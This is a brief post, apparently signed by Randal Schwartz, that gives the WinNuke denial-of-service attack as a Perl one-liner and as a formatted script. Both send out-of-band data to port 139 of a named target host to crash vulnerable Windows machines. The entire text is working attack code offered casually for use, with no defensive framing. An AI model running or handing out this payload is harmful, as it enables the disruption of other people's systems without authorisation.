Winnuke in one line? No problem:
perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'
And formatted so it's a little easier to read:
#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new(PeerAddr=>"bad.dude.com:139")
->send("bye", MSG_OOB);
-Randal Schwartz